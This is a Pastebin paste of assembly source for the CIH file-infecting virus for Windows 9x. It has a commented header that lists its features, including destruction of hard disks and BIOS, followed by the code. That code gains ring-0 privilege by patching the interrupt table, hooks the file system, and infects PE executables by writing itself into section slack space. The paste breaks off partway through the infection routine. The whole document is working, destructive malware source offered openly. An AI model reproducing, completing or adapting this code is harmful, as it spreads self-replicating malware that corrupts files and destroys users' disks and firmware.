Advertisement
kwijibo

CIH source

Nov 21st, 2017
86
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. ; ****************************************************************************
  2. ; *         The Virus Program Information                        *
  3. ; ****************************************************************************
  4. ; *                                                                          *
  5. ; * Designer : CIH          Original Place : TTIT of Taiwan      *
  6. ; * Create Date : 04/26/1998    Now Version : 1.2                    *
  7. ; *     Modification Time : 05/21/1998                                       *
  8. ; *                                      *
  9. ; *==========================================================================*
  10. ; *         Modification History                                 *
  11. ; *==========================================================================*
  12. ; * v1.0    1. Create the Virus Program.                                 *
  13. ; *     2. The Virus Modifies IDT to Get Ring0 Privilege.            *
  14. ; * 04/26/1998  3. Virus Code doesn't Reload into System.                    *
  15. ; *     4. Call IFSMgr_InstallFileSystemApiHook to Hook File System. *
  16. ; *     5. Modifies Entry Point of IFSMgr_InstallFileSystemApiHook.  *
  17. ; *     6. When System Opens Existing PE File, the File will be      *
  18. ; *                Infected, and the File doesn't be Reinfected.             *
  19. ; *     7. It is also Infected, even the File is Read-Only.          *
  20. ; *     8. When the File is Infected, the Modification Date and Time *
  21. ; *        of the File also don't be Changed.                        *
  22. ; *     9. When My Virus Uses IFSMgr_Ring0_FileIO, it will not Call  *
  23. ; *        Previous FileSystemApiHook, it will Call the Function     *
  24. ; *        that the IFS Manager Would Normally Call to Implement     *
  25. ; *        this Particular I/O Request.                              *
  26. ; *        10. The Virus Size is only 656 Bytes.                         *
  27. ; *==========================================================================*
  28. ; * v1.1    1. Especially, the File that be Infected will not Increase   *
  29. ; *        it's Size...   ^__^                       *
  30. ; * 05/15/1998  2. Hook and Modify Structured Exception Handing.         *
  31. ; *        When Exception Error Occurs, Our OS System should be in   *
  32. ; *        Windows NT. So My Cute Virus will not Continue to Run,    *
  33. ; *        it will Jmup to Original Application to Run.          *
  34. ; *     3. Use Better Algorithm, Reduce Virus Code Size.         *
  35. ; *     4. The Virus "Basic" Size is only 796 Bytes.             *
  36. ; *==========================================================================*
  37. ; * v1.2    1. Kill All HardDisk, and BIOS... Super... Killer...         *
  38. ; *     2. Modify the Bug of v1.1                    *
  39. ; * 05/21/1998  3. The Virus "Basic" Size is 1003 Bytes.             *
  40. ; ****************************************************************************
  41.  
  42.                 .586P
  43.  
  44. ; ****************************************************************************
  45. ; *             Original PE Executable File(Don't Modify this Section)       *
  46. ; ****************************************************************************
  47.  
  48. OriginalAppEXE  SEGMENT
  49.  
  50. FileHeader:
  51.                 db      04dh, 05ah, 090h, 000h, 003h, 000h, 000h, 000h
  52.                 db      004h, 000h, 000h, 000h, 0ffh, 0ffh, 000h, 000h
  53.                 db      0b8h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
  54.                 db      040h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
  55.                 db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
  56.                 db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
  57.                 db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
  58.                 db      000h, 000h, 000h, 000h, 080h, 000h, 000h, 000h
  59.                 db      00eh, 01fh, 0bah, 00eh, 000h, 0b4h, 009h, 0cdh
  60.                 db      021h, 0b8h, 001h, 04ch, 0cdh, 021h, 054h, 068h
  61.                 db      069h, 073h, 020h, 070h, 072h, 06fh, 067h, 072h
  62.                 db      061h, 06dh, 020h, 063h, 061h, 06eh, 06eh, 06fh
  63.                 db      074h, 020h, 062h, 065h, 020h, 072h, 075h, 06eh
  64.                 db      020h, 069h, 06eh, 020h, 044h, 04fh, 053h, 020h
  65.                 db      06dh, 06fh, 064h, 065h, 02eh, 00dh, 00dh, 00ah
  66.                 db      024h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
  67.                 db      050h, 045h, 000h, 000h, 04ch, 001h, 001h, 000h
  68.                 db      0f1h, 068h, 020h, 035h, 000h, 000h, 000h, 000h
  69.                 db      000h, 000h, 000h, 000h, 0e0h, 000h, 00fh, 001h
  70.                 db      00bh, 001h, 005h, 000h, 000h, 010h, 000h, 000h
  71.                 db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
  72.                 db      010h, 010h, 000h, 000h, 000h, 010h, 000h, 000h
  73.                 db      000h, 020h, 000h, 000h, 000h, 000h, 040h, 000h
  74.                 db      000h, 010h, 000h, 000h, 000h, 002h, 000h, 000h
  75.                 db      004h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
  76.                 db      004h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
  77.                 db      000h, 020h, 000h, 000h, 000h, 002h, 000h, 000h
  78.                 db      000h, 000h, 000h, 000h, 002h, 000h, 000h, 000h
  79.                 db      000h, 000h, 010h, 000h, 000h, 010h, 000h, 000h
  80.                 db      000h, 000h, 010h, 000h, 000h, 010h, 000h, 000h
  81.                 db      000h, 000h, 000h, 000h, 010h, 000h, 000h, 000h
  82.                 db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
  83.                 db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
  84.                 db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
  85.                 db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
  86.                 db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
  87.                 db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
  88.                 db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
  89.                 db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
  90.                 db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
  91.                 db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
  92.                 db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
  93.                 db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
  94.                 db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
  95.                 db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
  96.                 db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
  97.                 db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
  98.                 db      02eh, 074h, 065h, 078h, 074h, 000h, 000h, 000h
  99.                 db      000h, 010h, 000h, 000h, 000h, 010h, 000h, 000h
  100.                 db      000h, 010h, 000h, 000h, 000h, 002h, 000h, 000h
  101.                 db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
  102.                 db      000h, 000h, 000h, 000h, 020h, 000h, 000h, 060h
  103.                 db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
  104.                 db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
  105.                 db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
  106.                 db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
  107.                 db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
  108.                 db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
  109.                 db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
  110.                 db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
  111.                 db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
  112.                 db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
  113.                 db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
  114.                 db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
  115.                 db      0c3h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
  116.         dd  00000000h, VirusSize
  117.  
  118. OriginalAppEXE  ENDS
  119.  
  120. ; ****************************************************************************
  121. ; *                     My Virus Game                                        *
  122. ; ****************************************************************************
  123.  
  124. ; *********************************************************
  125. ; *                    Constant Define                    *
  126. ; *********************************************************
  127.  
  128. TRUE            =   1
  129. FALSE           =   0
  130.  
  131. DEBUG           =   TRUE
  132.  
  133. MajorVirusVersion   =   1
  134. MinorVirusVersion   =   2
  135.  
  136. VirusVersion        =   MajorVirusVersion*10h+MinorVirusVersion
  137.  
  138.  
  139. IF  DEBUG
  140.  
  141.     FirstKillHardDiskNumber =   81h
  142.     HookExceptionNumber     =       05h
  143.  
  144. ELSE
  145.  
  146.     FirstKillHardDiskNumber =   80h
  147.     HookExceptionNumber     =       03h
  148.  
  149. ENDIF
  150.  
  151.  
  152. FileNameBufferSize  =   7fh
  153.  
  154. ; *********************************************************
  155. ; *********************************************************
  156.  
  157. VirusGame               SEGMENT
  158.  
  159.                         ASSUME  CS:VirusGame, DS:VirusGame, SS:VirusGame
  160.                         ASSUME  ES:VirusGame, FS:VirusGame, GS:VirusGame
  161.  
  162. ; *********************************************************
  163. ; *             Ring3 Virus Game Initial Program          *
  164. ; *********************************************************
  165.  
  166. MyVirusStart:
  167.             push    ebp
  168.  
  169. ; *************************************
  170. ; * Let's Modify Structured Exception *
  171. ; * Handing, Prevent Exception Error  *
  172. ; * Occurrence, Especially in NT.     *
  173. ; *************************************
  174.  
  175.             lea eax, [esp-04h*2]
  176.  
  177.             xor ebx, ebx
  178.             xchg    eax, fs:[ebx]
  179.  
  180.             call    @0
  181. @0:
  182.             pop ebx
  183.  
  184.             lea ecx, StopToRunVirusCode-@0[ebx]
  185.             push    ecx
  186.  
  187.             push    eax
  188.  
  189. ; *************************************
  190. ; * Let's Modify                      *
  191. ; * IDT(Interrupt Descriptor Table)   *
  192. ; * to Get Ring0 Privilege...         *
  193. ; *************************************
  194.  
  195.             push    eax     ;
  196.                         sidt    [esp-02h]       ; Get IDT Base Address
  197.                         pop     ebx             ;
  198.  
  199.                         add     ebx, HookExceptionNumber*08h+04h ; ZF = 0
  200.  
  201.             cli
  202.  
  203.                         mov     ebp, [ebx]      ; Get Exception Base
  204.                         mov     bp, [ebx-04h]   ; Entry Point
  205.  
  206.                         lea     esi, MyExceptionHook-@1[ecx]
  207.  
  208.             push    esi
  209.  
  210.             mov [ebx-04h], si       ;
  211.             shr esi, 16         ; Modify Exception
  212.             mov [ebx+02h], si       ; Entry Point Address
  213.  
  214.             pop esi
  215.  
  216. ; *************************************
  217. ; * Generate Exception to Get Ring0   *
  218. ; *************************************
  219.  
  220.             int HookExceptionNumber ; GenerateException
  221. ReturnAddressOfEndException =   $
  222.  
  223. ; *************************************
  224. ; * Merge All Virus Code Section      *
  225. ; *************************************
  226.  
  227.             push    esi
  228.             mov esi, eax
  229.  
  230. LoopOfMergeAllVirusCodeSection:
  231.  
  232.             mov ecx, [eax-04h]
  233.  
  234.             rep movsb
  235.  
  236.             sub eax, 08h
  237.  
  238.             mov esi, [eax]
  239.  
  240.             or  esi, esi
  241.             jz  QuitLoopOfMergeAllVirusCodeSection ; ZF = 1
  242.  
  243.             jmp LoopOfMergeAllVirusCodeSection
  244.  
  245. QuitLoopOfMergeAllVirusCodeSection:
  246.  
  247.             pop esi
  248.  
  249. ; *************************************
  250. ; * Generate Exception Again          *
  251. ; *************************************
  252.  
  253.             int HookExceptionNumber ; GenerateException Again
  254.  
  255. ; *************************************
  256. ; * Let's Restore                     *
  257. ; * Structured Exception Handing      *
  258. ; *************************************
  259.  
  260. ReadyRestoreSE:
  261.             sti
  262.  
  263.             xor ebx, ebx
  264.  
  265.             jmp RestoreSE
  266.  
  267. ; *************************************
  268. ; * When Exception Error Occurs,      *
  269. ; * Our OS System should be in NT.    *
  270. ; * So My Cute Virus will not         *
  271. ; * Continue to Run, it Jmups to      *
  272. ; * Original Application to Run.      *
  273. ; *************************************
  274.  
  275. StopToRunVirusCode:
  276. @1          =   StopToRunVirusCode
  277.  
  278.             xor ebx, ebx
  279.             mov eax, fs:[ebx]
  280.             mov esp, [eax]
  281.  
  282. RestoreSE:
  283.             pop dword ptr fs:[ebx]
  284.             pop eax
  285.  
  286. ; *************************************
  287. ; * Return Original App to Execute    *
  288. ; *************************************
  289.  
  290.             pop ebp
  291.  
  292.                         push    00401000h       ; Push Original
  293. OriginalAddressOfEntryPoint =   $-4 ; App Entry Point to Stack
  294.  
  295.                         ret     ; Return to Original App Entry Point
  296.  
  297. ; *********************************************************
  298. ; *             Ring0 Virus Game Initial Program          *
  299. ; *********************************************************
  300.  
  301. MyExceptionHook:
  302. @2          =   MyExceptionHook
  303.  
  304.             jz  InstallMyFileSystemApiHook
  305.  
  306. ; *************************************
  307. ; * Do My Virus Exist in System !?    *
  308. ; *************************************
  309.  
  310.             mov ecx, dr0
  311.             jecxz   AllocateSystemMemoryPage
  312.  
  313.             add dword ptr [esp], ReadyRestoreSE-ReturnAddressOfEndException
  314.  
  315. ; *************************************
  316. ; * Return to Ring3 Initial Program   *
  317. ; *************************************
  318.  
  319. ExitRing0Init:
  320.             mov [ebx-04h], bp   ;
  321.             shr ebp, 16     ; Restore Exception
  322.             mov [ebx+02h], bp   ;
  323.  
  324.             iretd
  325.  
  326. ; *************************************
  327. ; * Allocate SystemMemory Page to Use *
  328. ; *************************************
  329.  
  330. AllocateSystemMemoryPage:
  331.  
  332.             mov dr0, ebx    ; Set the Mark of My Virus Exist in System
  333.  
  334.             push    00000000fh  ;
  335.             push    ecx     ;
  336.             push    0ffffffffh  ;
  337.             push    ecx     ;
  338.             push    ecx     ;
  339.             push    ecx     ;
  340.             push    000000001h  ;
  341.             push    000000002h  ;
  342.             int 20h     ; VMMCALL _PageAllocate
  343. _PageAllocate       =   $       ;
  344.             dd  00010053h   ; Use EAX, ECX, EDX, and flags
  345.             add esp, 08h*04h
  346.  
  347.             xchg    edi, eax    ; EDI = SystemMemory Start Address
  348.  
  349.             lea eax, MyVirusStart-@2[esi]
  350.  
  351.             iretd   ; Return to Ring3 Initial Program
  352.  
  353. ; *************************************
  354. ; * Install My File System Api Hook   *
  355. ; *************************************
  356.  
  357. InstallMyFileSystemApiHook:
  358.  
  359.             lea eax, FileSystemApiHook-@6[edi]
  360.  
  361.             push    eax  ;
  362.             int 20h  ; VXDCALL IFSMgr_InstallFileSystemApiHook
  363. IFSMgr_InstallFileSystemApiHook =   $   ;
  364.             dd      00400067h   ; Use EAX, ECX, EDX, and flags
  365.  
  366.             mov dr0, eax    ; Save OldFileSystemApiHook Address
  367.  
  368.             pop eax ; EAX = FileSystemApiHook Address
  369.  
  370.             ; Save Old IFSMgr_InstallFileSystemApiHook Entry Point
  371.             mov ecx, IFSMgr_InstallFileSystemApiHook-@2[esi]
  372.             mov edx, [ecx]
  373.             mov OldInstallFileSystemApiHook-@3[eax], edx
  374.  
  375.             ; Modify IFSMgr_InstallFileSystemApiHook Entry Point
  376.             lea eax, InstallFileSystemApiHook-@3[eax]
  377.             mov [ecx], eax
  378.  
  379.             cli
  380.  
  381.             jmp ExitRing0Init
  382.  
  383. ; *********************************************************
  384. ; *             Code Size of Merge Virus Code Section     *
  385. ; *********************************************************
  386.  
  387. CodeSizeOfMergeVirusCodeSection     =   offset $
  388.  
  389. ; *********************************************************
  390. ; *             IFSMgr_InstallFileSystemApiHook           *
  391. ; *********************************************************
  392.  
  393. InstallFileSystemApiHook:
  394.             push    ebx
  395.  
  396.             call    @4  ;
  397. @4:                 ;
  398.             pop ebx ; mov ebx, offset FileSystemApiHook
  399.             add ebx, FileSystemApiHook-@4   ;
  400.  
  401.             push    ebx
  402.             int 20h  ; VXDCALL IFSMgr_RemoveFileSystemApiHook
  403. IFSMgr_RemoveFileSystemApiHook  =   $
  404.             dd      00400068h   ; Use EAX, ECX, EDX, and flags
  405.             pop eax
  406.  
  407.             ; Call Original IFSMgr_InstallFileSystemApiHook
  408.             ; to Link Client FileSystemApiHook
  409.             push    dword ptr [esp+8]
  410.             call    OldInstallFileSystemApiHook-@3[ebx]
  411.             pop ecx
  412.  
  413.             push    eax
  414.  
  415.             ; Call Original IFSMgr_InstallFileSystemApiHook
  416.             ; to Link My FileSystemApiHook
  417.             push    ebx
  418.             call    OldInstallFileSystemApiHook-@3[ebx]
  419.             pop ecx
  420.  
  421.             mov dr0, eax    ; Adjust OldFileSystemApiHook Address
  422.  
  423.             pop eax
  424.  
  425.             pop ebx
  426.  
  427.             ret
  428.  
  429. ; *********************************************************
  430. ; *         Static Data                       *
  431. ; *********************************************************
  432.  
  433. OldInstallFileSystemApiHook dd  ?
  434.  
  435. ; *********************************************************
  436. ; *             IFSMgr_FileSystemHook                     *
  437. ; *********************************************************
  438.  
  439. ; *************************************
  440. ; * IFSMgr_FileSystemHook Entry Point *
  441. ; *************************************
  442.  
  443. FileSystemApiHook:
  444. @3          =   FileSystemApiHook
  445.  
  446.             pushad
  447.  
  448.                         call    @5  ;
  449. @5:                 ;
  450.                         pop     esi ; mov esi, offset VirusGameDataStartAddress
  451.                         add     esi, VirusGameDataStartAddress-@5
  452.  
  453. ; *************************************
  454. ; * Is OnBusy !?                      *
  455. ; *************************************
  456.  
  457.             test    byte ptr (OnBusy-@6)[esi], 01h  ; if ( OnBusy )
  458.             jnz pIFSFunc            ; goto pIFSFunc
  459.  
  460. ; *************************************
  461. ; * Is OpenFile !?                    *
  462. ; *************************************
  463.  
  464.             ; if ( NotOpenFile )
  465.             ; goto prevhook
  466.             lea ebx, [esp+20h+04h+04h]
  467.             cmp dword ptr [ebx], 00000024h
  468.             jne prevhook
  469.  
  470. ; *************************************
  471. ; * Enable OnBusy                     *
  472. ; *************************************
  473.  
  474.             inc byte ptr (OnBusy-@6)[esi]   ; Enable OnBusy
  475.  
  476. ; *************************************
  477. ; * Get FilePath's DriveNumber,       *
  478. ; * then Set the DriveName to         *
  479. ; * FileNameBuffer.                   *
  480. ; *************************************
  481. ; * Ex. If DriveNumber is 03h,        *
  482. ; *     DriveName is 'C:'.            *
  483. ; *************************************
  484.  
  485.             ; mov esi, offset FileNameBuffer
  486.             add esi, FileNameBuffer-@6
  487.  
  488.             push    esi
  489.  
  490.             mov al, [ebx+04h]
  491.             cmp al, 0ffh
  492.             je  CallUniToBCSPath
  493.  
  494.             add al, 40h
  495.             mov ah, ':'
  496.  
  497.             mov [esi], eax
  498.  
  499.             inc esi
  500.             inc esi
  501.  
  502. ; *************************************
  503. ; * UniToBCSPath                      *
  504. ; *************************************
  505. ; * This Service Converts             *
  506. ; * a Canonicalized Unicode Pathname  *
  507. ; * to a Normal Pathname in the       *
  508. ; * Specified BCS Character Set.      *
  509. ; *************************************
  510.  
  511. CallUniToBCSPath:
  512.             push    00000000h
  513.             push    FileNameBufferSize
  514.             mov ebx, [ebx+10h]
  515.             mov eax, [ebx+0ch]
  516.             add eax, 04h
  517.             push    eax
  518.             push    esi
  519.             int 20h ; VXDCall UniToBCSPath
  520. UniToBCSPath        =   $
  521.             dd  00400041h
  522.             add esp, 04h*04h
  523.  
  524. ; *************************************
  525. ; * Is FileName '.EXE' !?             *
  526. ; *************************************
  527.  
  528.             ; cmp [esi+eax-04h], '.EXE'
  529.             cmp [esi+eax-04h], 'EXE.'
  530.             pop esi
  531.             jne DisableOnBusy
  532.  
  533. IF  DEBUG
  534.  
  535. ; *************************************
  536. ; * Only for Debug                    *
  537. ; *************************************
  538.  
  539.             ; cmp [esi+eax-06h], 'FUCK'
  540.             cmp [esi+eax-06h], 'KCUF'
  541.             jne DisableOnBusy
  542.  
  543. ENDIF
  544.  
  545. ; *************************************
  546. ; * Is Open Existing File !?          *
  547. ; *************************************
  548.  
  549.             ; if ( NotOpenExistingFile )
  550.             ; goto DisableOnBusy
  551.             cmp word ptr [ebx+18h], 01h
  552.             jne DisableOnBusy
  553.  
  554. ; *************************************
  555. ; * Get Attributes of the File        *
  556. ; *************************************
  557.  
  558.             mov ax, 4300h
  559.             int 20h ; VXDCall IFSMgr_Ring0_FileIO
  560. IFSMgr_Ring0_FileIO =   $
  561.             dd  00400032h
  562.  
  563.             jc  DisableOnBusy
  564.  
  565.             push    ecx
  566.  
  567. ; *************************************
  568. ; * Get IFSMgr_Ring0_FileIO Address   *
  569. ; *************************************
  570.  
  571.             mov edi, dword ptr (IFSMgr_Ring0_FileIO-@7)[esi]
  572.             mov edi, [edi]
  573.  
  574. ; *************************************
  575. ; * Is Read-Only File !?              *
  576. ; *************************************
  577.  
  578.             test    cl, 01h
  579.             jz  OpenFile
  580.  
  581. ; *************************************
  582. ; * Modify Read-Only File to Write    *
  583. ; *************************************
  584.  
  585.             mov ax, 4301h
  586.             xor ecx, ecx
  587.             call    edi ; VXDCall IFSMgr_Ring0_FileIO
  588.  
  589. ; *************************************
  590. ; * Open File                         *
  591. ; *************************************
  592.  
  593. OpenFile:
  594.             xor eax, eax
  595.             mov ah, 0d5h
  596.             xor ecx, ecx
  597.             xor edx, edx
  598.             inc edx
  599.             mov ebx, edx
  600.             inc ebx
  601.             call    edi ; VXDCall IFSMgr_Ring0_FileIO
  602.  
  603.             xchg    ebx, eax    ; mov ebx, FileHandle
  604.  
  605. ; *************************************
  606. ; * Need to Restore                   *
  607. ; * Attributes of the File !?         *
  608. ; *************************************
  609.  
  610.             pop ecx
  611.  
  612.             pushf
  613.  
  614.             test    cl, 01h
  615.             jz  IsOpenFileOK
  616.  
  617. ; *************************************
  618. ; * Restore Attributes of the File    *
  619. ; *************************************
  620.  
  621.             mov ax, 4301h
  622.             call    edi ; VXDCall IFSMgr_Ring0_FileIO
  623.  
  624. ; *************************************
  625. ; * Is Open File OK !?                *
  626. ; *************************************
  627.  
  628. IsOpenFileOK:
  629.             popf
  630.  
  631.             jc  DisableOnBusy
  632.  
  633. ; *************************************
  634. ; * Open File Already Succeed.   ^__^ *
  635. ; *************************************
  636.  
  637.             push    esi ; Push FileNameBuffer Address to Stack
  638.  
  639.             pushf       ; Now CF = 0, Push Flag to Stack
  640.  
  641.             add esi, DataBuffer-@7 ; mov esi, offset DataBuffer
  642.  
  643. ; ***************************
  644. ; * Get OffsetToNewHeader   *
  645. ; ***************************
  646.  
  647.             xor eax, eax
  648.             mov ah, 0d6h
  649.  
  650.             ; For Doing Minimal VirusCode's Length,
  651.             ; I Save EAX to EBP.
  652.             mov ebp, eax
  653.  
  654.             xor ecx, ecx
  655.             mov cl, 04h
  656.             xor edx, edx
  657.             mov dl, 3ch
  658.             call    edi ; VXDCall IFSMgr_Ring0_FileIO
  659.  
  660.             mov edx, [esi]
  661.  
  662. ; ***************************
  663. ; * Get 'PE\0' Signature    *
  664. ; * of ImageFileHeader, and *
  665. ; * Infected Mark.          *
  666. ; ***************************
  667.  
  668.             dec edx
  669.  
  670.             mov eax, ebp
  671.             call    edi ; VXDCall IFSMgr_Ring0_FileIO
  672.  
  673. ; ***************************
  674. ; * Is PE !?                *
  675. ; ***************************
  676. ; * Is the File             *
  677. ; * Already Infected !?     *
  678. ; ***************************
  679.  
  680.             ; cmp [esi], '\0PE\0'
  681.             cmp dword ptr [esi], 00455000h
  682.             jne CloseFile
  683.  
  684. ; *************************************
  685. ; * The File is                   ^o^ *
  686. ; * PE(Portable Executable) indeed.   *
  687. ; *************************************
  688. ; * The File isn't also Infected.     *
  689. ; *************************************
  690.  
  691. ; *************************************
  692. ; * Start to Infect the File          *
  693. ; *************************************
  694. ; * Registers Use Status Now :        *
  695. ; *                                   *
  696. ; * EAX = 04h                         *
  697. ; * EBX = File Handle                 *
  698. ; * ECX = 04h                         *
  699. ; * EDX = 'PE\0\0' Signature of       *
  700. ; *       ImageFileHeader Pointer's   *
  701. ; *   Former Byte.                *
  702. ; * ESI = DataBuffer Address ==> @8   *
  703. ; * EDI = IFSMgr_Ring0_FileIO Address *
  704. ; * EBP = D600h ==> Read Data in File *
  705. ; *************************************
  706. ; * Stack Dump :                      *
  707. ; *                                   *
  708. ; * ESP => -------------------------  *
  709. ; *        |       EFLAG(CF=0)     |  *
  710. ; *        -------------------------  *
  711. ; *        | FileNameBufferPointer |  *
  712. ; *        -------------------------  *
  713. ; *        |          EDI          |  *
  714. ; *        -------------------------  *
  715. ; *        |          ESI          |  *
  716. ; *        -------------------------  *
  717. ; *        |          EBP          |  *
  718. ; *        -------------------------  *
  719. ; *        |          ESP          |  *
  720. ; *        -------------------------  *
  721. ; *        |          EBX          |  *
  722. ; *        -------------------------  *
  723. ; *        |          EDX          |  *
  724. ; *        -------------------------  *
  725. ; *        |          ECX          |  *
  726. ; *        -------------------------  *
  727. ; *        |          EAX          |  *
  728. ; *        -------------------------  *
  729. ; *        |     Return Address    |  *
  730. ; *        -------------------------  *
  731. ; *************************************
  732.  
  733.             push    ebx ; Save File Handle
  734.  
  735.             push    00h ; Set VirusCodeSectionTableEndMark
  736.  
  737. ; ***************************
  738. ; * Let's Set the           *
  739. ; * Virus' Infected Mark    *
  740. ; ***************************
  741.  
  742.             push    01h ; Size
  743.             push    edx ; Pointer of File
  744.             push    edi ; Address of Buffer
  745.  
  746. ; ***************************
  747. ; * Save ESP Register       *
  748. ; ***************************
  749.  
  750.             mov dr1, esp
  751.  
  752. ; ***************************
  753. ; * Let's Set the           *
  754. ; * NewAddressOfEntryPoint  *
  755. ; * ( Only First Set Size ) *
  756. ; ***************************
  757.  
  758.             push    eax ; Size
  759.  
  760. ; ***************************
  761. ; * Let's Read              *
  762. ; * Image Header in File    *
  763. ; ***************************
  764.  
  765.             mov eax, ebp
  766.             mov cl, SizeOfImageHeaderToRead
  767.             add edx, 07h ; Move EDX to NumberOfSections
  768.             call    edi  ; VXDCall IFSMgr_Ring0_FileIO
  769.  
  770. ; ***************************
  771. ; * Let's Set the           *
  772. ; * NewAddressOfEntryPoint  *
  773. ; * ( Set Pointer of File,  *
  774. ; *   Address of Buffer   ) *
  775. ; ***************************
  776.  
  777.             lea eax, (AddressOfEntryPoint-@8)[edx]
  778.             push    eax ; Pointer of File
  779.  
  780.             lea eax, (NewAddressOfEntryPoint-@8)[esi]
  781.             push    eax ; Address of Buffer
  782.  
  783. ; ***************************
  784. ; * Move EDX to the Start   *
  785. ; * of SectionTable in File *
  786. ; ***************************
  787.  
  788.             movzx   eax, word ptr (SizeOfOptionalHeader-@8)[esi]
  789.             lea edx, [eax+edx+12h]
  790.  
  791. ; ***************************
  792. ; * Let's Get               *
  793. ; * Total Size of Sections  *
  794. ; ***************************
  795.  
  796.             mov al, SizeOfScetionTable
  797.  
  798.             ; I Assume NumberOfSections <= 0ffh
  799.             mov cl, (NumberOfSections-@8)[esi]
  800.  
  801.             mul cl
  802.  
  803. ; ***************************
  804. ; * Let's Set Section Table *
  805. ; ***************************
  806.  
  807.             ; Move ESI to the Start of SectionTable
  808.             lea esi, (StartOfSectionTable-@8)[esi]
  809.  
  810.             push    eax ; Size
  811.             push    edx ; Pointer of File
  812.             push    esi ; Address of Buffer
  813.  
  814. ; ***************************
  815. ; * The Code Size of Merge  *
  816. ; * Virus Code Section and  *
  817. ; * Total Size of Virus     *
  818. ; * Code Section Table Must *
  819. ; * be Small or Equal the   *
  820. ; * Unused Space Size of    *
  821. ; * Following Section Table *
  822. ; ***************************
  823.  
  824.             inc ecx
  825.             push    ecx ; Save NumberOfSections+1
  826.  
  827.             shl ecx, 03h
  828.             push    ecx ; Save TotalSizeOfVirusCodeSectionTable
  829.  
  830.             add ecx, eax
  831.             add ecx, edx
  832.  
  833.             sub ecx, (SizeOfHeaders-@9)[esi]
  834.             jnc short OnlySetInfectedMark
  835.  
  836.             not ecx
  837.             inc ecx
  838.  
  839.             cmp cx, small CodeSizeOfMergeVirusCodeSection
  840.             jb  OnlySetInfectedMark
  841.  
  842. ; ***************************
  843. ; * Save Original           *
  844. ; * Address of Entry Point  *
  845. ; ***************************
  846.  
  847.             ; Save My Virus First Section Code
  848.             ; Size of Following Section Table...
  849.             ; ( Not Include the Size of Virus Code Section Table )
  850.             push    ecx
  851.  
  852.             xchg    ecx, eax    ; ECX = Size of Section Table
  853.  
  854.             mov eax, (AddressOfEntryPoint-@9)[esi]
  855.             add eax, (ImageBase-@9)[esi]
  856.             mov (OriginalAddressOfEntryPoint-@9)[esi], eax
  857.  
  858. ; ***************************
  859. ; * Read All Section Tables *
  860. ; ***************************
  861.  
  862.             mov eax, ebp
  863.             call    edi ; VXDCall IFSMgr_Ring0_FileIO
  864.  
  865. ; ***************************
  866. ; * Let's Set Total Virus   *
  867. ; * Code Section Table      *
  868. ; ***************************
  869.  
  870.             ; EBX = My Virus First Section Code
  871.             ;   Size of Following Section Table
  872.             pop ebx
  873.             pop edi ; EDI = TotalSizeOfVirusCodeSectionTable
  874.             pop ecx ; ECX = NumberOfSections+1
  875.  
  876.             push    edi     ; Size
  877.  
  878.             add edx, eax
  879.             push    edx     ; Pointer of File
  880.  
  881.             add eax, esi
  882.             push    eax     ; Address of Buffer
  883.  
  884. ; ***************************
  885. ; * Set the First Virus     *
  886. ; * Code Section Size in    *
  887. ; * VirusCodeSectionTable   *
  888. ; ***************************
  889.  
  890.             lea eax, [eax+edi-04h]
  891.             mov [eax], ebx
  892.  
  893. ; ***************************
  894. ; * Let's Set My Virus      *
  895. ; * First Section Code      *
  896. ; ***************************
  897.  
  898.             push    ebx ; Size
  899.  
  900.             add edx, edi
  901.             push    edx ; Pointer of File
  902.  
  903.             lea edi, (MyVirusStart-@9)[esi]
  904.             push    edi ; Address of Buffer
  905.  
  906. ; ***************************
  907. ; * Let's Modify the        *
  908. ; * AddressOfEntryPoint to  *
  909. ; * My Virus Entry Point    *
  910. ; ***************************
  911.  
  912.             mov (NewAddressOfEntryPoint-@9)[esi], edx
  913.  
  914. ; ***************************
  915. ; * Setup Initial Data      *
  916. ; ***************************
  917.  
  918.             lea edx, [esi-SizeOfScetionTable]
  919.             mov ebp, offset VirusSize
  920.  
  921.             jmp StartToWriteCodeToSections
  922.  
  923. ; ***************************
  924. ; * Write Code to Sections  *
  925. ; ***************************
  926.  
  927. LoopOfWriteCodeToSections:
  928.  
  929.             add edx, SizeOfScetionTable
  930.  
  931.             mov ebx, (SizeOfRawData-@9)[edx]
  932.             sub ebx, (VirtualSize-@9)[edx]
  933.             jbe EndOfWriteCodeToSections
  934.  
  935.             push    ebx ; Size
  936.  
